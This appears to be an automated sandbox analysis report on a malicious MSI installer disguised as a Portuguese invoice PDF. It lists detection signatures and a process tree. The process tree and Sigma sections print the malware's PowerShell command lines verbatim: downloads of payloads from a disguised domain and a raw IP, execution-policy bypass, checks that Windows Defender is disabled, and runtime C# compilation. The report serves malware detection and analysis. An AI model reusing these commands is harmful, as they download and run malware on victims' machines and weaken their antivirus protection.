Edit tour

Windows Analysis Report
Fatura931Pendente956.pdf761.msi

Overview

General Information

Sample name:	Fatura931Pendente956.pdf761.msi
Analysis ID:	1562889
MD5:	bff69c9caad1762cf45331e6ecea1049
SHA1:	593a8d261a31c08e73be5d119caa3a27e85f4d6b
SHA256:	949ac0a131df40fa1c35d211934acd66fca038c027bc074ae12f7806e3b814cd
Tags:	msiuser-abuse_ch
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected MalDoc

Yara detected Powershell download and execute

AI detected suspicious URL

AI detected suspicious sample

Bypasses PowerShell execution policy

Creates files in the system32 config directory

Loading BitLocker PowerShell Module

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Powershell Defender Disable Scan Feature

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Suspicious execution chain found

Suspicious powershell command line found

Tries to open files direct via NTFS file id

Abnormal high CPU Usage

Checks for available system drives (often done to infect USB drives)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Suspicious MsiExec Embedding Parent

Sigma detected: Usage Of Web Request Commands And Cmdlets

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

msiexec.exe (PID: 3288 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\Fatura931Pendente956.pdf761.msi" MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 3720 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 7068 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 7499E4E7F1DA1FA24C606FAD5E4A5918 MD5: 9D09DC1EDA745A5F87553048E57620CF)

powershell.exe (PID: 6344 cmdline: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss82F.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6256 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7488 cmdline: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss381D.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 7608 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.html MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7872 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=2060,i,12800759759220068023,3878427892193001850,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

powershell.exe (PID: 4856 cmdline: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss4957.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6300 cmdline: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss6678.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 1216 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5672 cmdline: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss8908.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1020 cmdline: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssA4C2.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1236 cmdline: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssD54C.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 4164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3408 cmdline: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss1566.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7236 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6224 cmdline: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss63D8.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 5624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6052 cmdline: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssBA2A.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1360 cmdline: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss2A2E.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 3632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7312 cmdline: Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\temp\ShowUpdateScreen.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 7736 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

powershell.exe (PID: 7228 cmdline: PowerShell.exe -NoProfile -ExecutionPolicy Bypass -Command & { if ((Get-MpPreference).DisableRealtimeMonitoring -eq $false) { Start-ScheduledTask -TaskName 'ATD' } } MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7188 cmdline: Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\temp\ShowUpdateScreen.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

csc.exe (PID: 5900 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\swfob4yn.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 5444 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA037.tmp" "c:\Users\user\AppData\Local\Temp\CSC9B11AECFE9254054A1433CAC9323B2.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

powershell.exe (PID: 6468 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $fileUrl = 'https://qsif-9432751-neurallink-bwlprtyx-099.computador-hardware.net/simples/rosa.png' $downloadedFile = Join-Path $folderPath 'rosa.png' $zipFile = Join-Path $folderPath 'rosa.zip' $extractedFolder = Join-Path $folderPath 'Extracted' while ($true) { Start-Sleep -Seconds 60 if (!(Test-Path -Path $folderPath)) { Write-Output 'Pasta LocalNow n o encontrada. Aguardando nova verifica o.' continue } # Verifica se existe algum arquivo DLL na pasta $dllFiles = Get-ChildItem -Path $folderPath -Filter *.dll -Recurse -ErrorAction SilentlyContinue if ($dllFiles -and $dllFiles.Count -gt 0) { Write-Output 'Arquivo DLL encontrado: $($dllFiles[0].Name)' break # Sai do loop while } Write-Output 'Arquivo DLL n o encontrado. Reiniciando o processo.' # Limpa a pasta antes de novo download try { Get-ChildItem -Path $folderPath -Recurse | Remove-Item -Force -Recurse -ErrorAction Stop # Download e extra o Invoke-WebRequest -Uri $fileUrl -OutFile $downloadedFile -ErrorAction Stop Rename-Item -Path $downloadedFile -NewName $zipFile -ErrorAction Stop Expand-Archive -Path $zipFile -DestinationPath $extractedFolder -Force -ErrorAction Stop Write-Output 'Processo de extra o completado com sucesso.' } catch { Write-Output 'Erro durante o processo: $($_.Exception.Message)' Start-Sleep -Seconds 30 # Espera antes de tentar novamente } } exit # Encerra o script ap s sair do loop }" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5376 cmdline: PowerShell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\user\AppData\Local\Temp\Executar01aa.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7380 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $loopCompleted = $false for ($i = 0; $i -lt 3; $i++) { Start-Sleep -Seconds 60 # Verifica as chaves do Registro $keyPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' $disableAntiSpyware = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiSpyware' -ErrorAction SilentlyContinue).DisableAntiSpyware -eq 1 $disableAntiVirus = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiVirus' -ErrorAction SilentlyContinue).DisableAntiVirus -eq 1 # Se ambas as chaves existirem com valor 1, sai do loop e define que o loop completou if ($disableAntiSpyware -eq 1 -and $disableAntiVirus -eq 1) { $loopCompleted = $true break } } # Se o loop tiver sido interrompido, verifica se a pasta j existe e a cria se necess rio if ($loopCompleted -and !(Test-Path -Path $folderPath)) { New-Item -ItemType Directory -Path $folderPath -Force Write-Output "Pasta C:\LocalNow criada com sucesso ap s o loop completar." } }" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6704 cmdline: PowerShell.exe -NoProfile -ExecutionPolicy Bypass -Command "if (-not (Test-Path 'C:\temp')) { New-Item -ItemType Directory -Path 'C:\temp' -Force | Out-Null } try { Invoke-WebRequest -Uri 'http://192.124.216.14/vd/sis/DownSistem.ps1' -OutFile 'C:\temp\DownSistem.ps1' -UseBasicParsing Write-Output 'Arquivo DownSistem.ps1 baixado com sucesso em C:\temp\DownSistem.ps1' } catch { Write-Output 'Erro ao baixar o arquivo DownSistem.ps1: ' exit 1 }" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6736 cmdline: PowerShell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\temp\DownSistem.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7364 cmdline: PowerShell.exe -NoProfile -ExecutionPolicy Bypass -File C:\temp\sistema.ps1 MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Fatura931Pendente956.pdf761.msi	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Fatura931Pendente956.pdf761.msi	JoeSecurity_MalDoc	Yara detected MalDoc	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Windows\Installer\6605ad.msi	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Windows\Installer\6605ad.msi	JoeSecurity_MalDoc	Yara detected MalDoc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 6344	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi32_6344.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Powershell Defender Disable Scan Feature

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: PowerShell.exe -NoProfile -ExecutionPolicy Bypass -Command & { if ((Get-MpPreference).DisableRealtimeMonitoring -eq $false) { Start-ScheduledTask -TaskName 'ATD' } }, CommandLine: PowerShell.exe -NoProfile -ExecutionPolicy Bypass -Command & { if ((Get-MpPreference).DisableRealtimeMonitoring -eq $false) { Start-ScheduledTask -TaskName 'ATD' } }, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: PowerShell.exe -NoProfile -ExecutionPolicy Bypass -Command & { if ((Get-MpPreference).DisableRealtimeMonitoring -eq $false) { Start-ScheduledTask -TaskName 'ATD' } }, ProcessId: 7228, ProcessName: powershell.exe

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss82F.ps1" , CommandLine: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss82F.ps1" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\syswow64\MsiExec.exe -Embedding 7499E4E7F1DA1FA24C606FAD5E4A5918, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 7068, ParentProcessName: msiexec.exe, ProcessCommandLine: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss82F.ps1" , ProcessId: 6344, ProcessName: powershell.exe

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $fileUrl = 'https://qsif-9432751-neurallink-bwlprtyx-099.computador-hardware.net/simples/rosa.png' $downloadedFile = Join-Path $folderPath 'rosa.png' $zipFile = Join-Path $folderPath 'rosa.zip' $extractedFolder = Join-Path $folderPath 'Extracted' while ($true) { Start-Sleep -Seconds 60 if (!(Test-Path -Path $folderPath)) { Write-Output 'Pasta LocalNow n o encontrada. Aguardando nova verifica o.' continue } # Verifica se existe algum arquivo DLL na pasta $dllFiles = Get-ChildItem -Path $folderPath -Filter *.dll -Recurse -ErrorAction SilentlyContinue if ($dllFiles -and $dllFiles.Count -gt 0) { Write-Output 'Arquivo DLL encontrado: $($dllFiles[0].Name)' break # Sai do loop while } Write-Output 'Arquivo DLL n o encontrado. Reiniciando o processo.' # Limpa a pasta antes de novo download try { Get-ChildItem -Path $folderPath -Recurse | Remove-Item -Force -Recurse -ErrorAction Stop # Download e extra o Invoke-WebRequest -Uri $fileUrl -OutFile $downloadedFile -ErrorAction Stop Rename-Item -Path $downloadedFile -NewName $zipFile -ErrorAction Stop Expand-Archive -Path $zipFile -DestinationPath $extractedFolder -Force -ErrorAction Stop Write-Output 'Processo de extra o completado com sucesso.' } catch { Write-Output 'Erro durante o processo: $($_.Exception.Message)' Start-Sleep -Seconds 30 # Espera antes de tentar novamente } } exit # Encerra o script ap s sair do loop }", CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $fileUrl = 'https://qsif-9432751-neurallink-bwlprtyx-099.computador-hardware.net/simples/rosa.png' $downloadedFile = Join-Path $folderPath 'rosa.png' $zipFile = Join-Path $folderPath 'rosa.zip' $extractedFolder = Join-Path $folderPath 'Extracted' while ($true) { Start-Sleep -Seconds 60 if (!(Test-Path -Path $folderPath)) { Write-Output 'Pasta LocalNow n o encontrada. Aguardando nova verifica o.' continue } # Verifica se existe algum arquivo DLL na pasta $dllFiles = Get-ChildItem -Path $folderPath -Filter *.dll -Recurse -ErrorAction SilentlyContinue if ($dllFiles -and $dllFiles.Count -gt 0) { Write-Output 'Arquivo DLL encontrado: $($dllFiles[0].Name)' break # Sai do loop while } Write-Output 'Arquivo DLL n o encontrado. Reiniciando o processo.' # Limpa a pasta antes de novo download try { Get-ChildItem -Path $folderPath -Recurse | Remove-Item -Force -Recurse -ErrorAction Stop # Download e extra o Invoke-WebRequest -Uri $fileUrl -OutFile $downloadedFile -ErrorAction Stop Rename-Item -Path $downloaded

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss82F.ps1" , CommandLine: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss82F.ps1" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\syswow64\MsiExec.exe -Embedding 7499E4E7F1DA1FA24C606FAD5E4A5918, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 7068, ParentProcessName: msiexec.exe, ProcessCommandLine: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss82F.ps1" , ProcessId: 6344, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss82F.ps1" , CommandLine: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss82F.ps1" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\syswow64\MsiExec.exe -Embedding 7499E4E7F1DA1FA24C606FAD5E4A5918, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 7068, ParentProcessName: msiexec.exe, ProcessCommandLine: -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss82F.ps1" , ProcessId: 6344, ProcessName: powershell.exe

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\swfob4yn.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\swfob4yn.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\temp\ShowUpdateScreen.ps1, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7188, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\swfob4yn.cmdline", ProcessId: 5900, ProcessName: csc.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $fileUrl = 'https://qsif-9432751-neurallink-bwlprtyx-099.computador-hardware.net/simples/rosa.png' $downloadedFile = Join-Path $folderPath 'rosa.png' $zipFile = Join-Path $folderPath 'rosa.zip' $extractedFolder = Join-Path $folderPath 'Extracted' while ($true) { Start-Sleep -Seconds 60 if (!(Test-Path -Path $folderPath)) { Write-Output 'Pasta LocalNow n o encontrada. Aguardando nova verifica o.' continue } # Verifica se existe algum arquivo DLL na pasta $dllFiles = Get-ChildItem -Path $folderPath -Filter *.dll -Recurse -ErrorAction SilentlyContinue if ($dllFiles -and $dllFiles.Count -gt 0) { Write-Output 'Arquivo DLL encontrado: $($dllFiles[0].Name)' break # Sai do loop while } Write-Output 'Arquivo DLL n o encontrado. Reiniciando o processo.' # Limpa a pasta antes de novo download try { Get-ChildItem -Path $folderPath -Recurse | Remove-Item -Force -Recurse -ErrorAction Stop # Download e extra o Invoke-WebRequest -Uri $fileUrl -OutFile $downloadedFile -ErrorAction Stop Rename-Item -Path $downloadedFile -NewName $zipFile -ErrorAction Stop Expand-Archive -Path $zipFile -DestinationPath $extractedFolder -Force -ErrorAction Stop Write-Output 'Processo de extra o completado com sucesso.' } catch { Write-Output 'Erro durante o processo: $($_.Exception.Message)' Start-Sleep -Seconds 30 # Espera antes de tentar novamente } } exit # Encerra o script ap s sair do loop }", CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $fileUrl = 'https://qsif-9432751-neurallink-bwlprtyx-099.computador-hardware.net/simples/rosa.png' $downloadedFile = Join-Path $folderPath 'rosa.png' $zipFile = Join-Path $folderPath 'rosa.zip' $extractedFolder = Join-Path $folderPath 'Extracted' while ($true) { Start-Sleep -Seconds 60 if (!(Test-Path -Path $folderPath)) { Write-Output 'Pasta LocalNow n o encontrada. Aguardando nova verifica o.' continue } # Verifica se existe algum arquivo DLL na pasta $dllFiles = Get-ChildItem -Path $folderPath -Filter *.dll -Recurse -ErrorAction SilentlyContinue if ($dllFiles -and $dllFiles.Count -gt 0) { Write-Output 'Arquivo DLL encontrado: $($dllFiles[0].Name)' break # Sai do loop while } Write-Output 'Arquivo DLL n o encontrado. Reiniciando o processo.' # Limpa a pasta antes de novo download try { Get-ChildItem -Path $folderPath -Recurse | Remove-Item -Force -Recurse -ErrorAction Stop # Download e extra o Invoke-WebRequest -Uri $fileUrl -OutFile $downloadedFile -ErrorAction Stop Rename-Item -Path $downloaded

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $fileUrl = 'https://qsif-9432751-neurallink-bwlprtyx-099.computador-hardware.net/simples/rosa.png' $downloadedFile = Join-Path $folderPath 'rosa.png' $zipFile = Join-Path $folderPath 'rosa.zip' $extractedFolder = Join-Path $folderPath 'Extracted' while ($true) { Start-Sleep -Seconds 60 if (!(Test-Path -Path $folderPath)) { Write-Output 'Pasta LocalNow n o encontrada. Aguardando nova verifica o.' continue } # Verifica se existe algum arquivo DLL na pasta $dllFiles = Get-ChildItem -Path $folderPath -Filter *.dll -Recurse -ErrorAction SilentlyContinue if ($dllFiles -and $dllFiles.Count -gt 0) { Write-Output 'Arquivo DLL encontrado: $($dllFiles[0].Name)' break # Sai do loop while } Write-Output 'Arquivo DLL n o encontrado. Reiniciando o processo.' # Limpa a pasta antes de novo download try { Get-ChildItem -Path $folderPath -Recurse | Remove-Item -Force -Recurse -ErrorAction Stop # Download e extra o Invoke-WebRequest -Uri $fileUrl -OutFile $downloadedFile -ErrorAction Stop Rename-Item -Path $downloadedFile -NewName $zipFile -ErrorAction Stop Expand-Archive -Path $zipFile -DestinationPath $extractedFolder -Force -ErrorAction Stop Write-Output 'Processo de extra o completado com sucesso.' } catch { Write-Output 'Erro durante o processo: $($_.Exception.Message)' Start-Sleep -Seconds 30 # Espera antes de tentar novamente } } exit # Encerra o script ap s sair do loop }", CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $fileUrl = 'https://qsif-9432751-neurallink-bwlprtyx-099.computador-hardware.net/simples/rosa.png' $downloadedFile = Join-Path $folderPath 'rosa.png' $zipFile = Join-Path $folderPath 'rosa.zip' $extractedFolder = Join-Path $folderPath 'Extracted' while ($true) { Start-Sleep -Seconds 60 if (!(Test-Path -Path $folderPath)) { Write-Output 'Pasta LocalNow n o encontrada. Aguardando nova verifica o.' continue } # Verifica se existe algum arquivo DLL na pasta $dllFiles = Get-ChildItem -Path $folderPath -Filter *.dll -Recurse -ErrorAction SilentlyContinue if ($dllFiles -and $dllFiles.Count -gt 0) { Write-Output 'Arquivo DLL encontrado: $($dllFiles[0].Name)' break # Sai do loop while } Write-Output 'Arquivo DLL n o encontrado. Reiniciando o processo.' # Limpa a pasta antes de novo download try { Get-ChildItem -Path $folderPath -Recurse | Remove-Item -Force -Recurse -ErrorAction Stop # Download e extra o Invoke-WebRequest -Uri $fileUrl -OutFile $downloadedFile -ErrorAction Stop Rename-Item -Path $downloaded

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

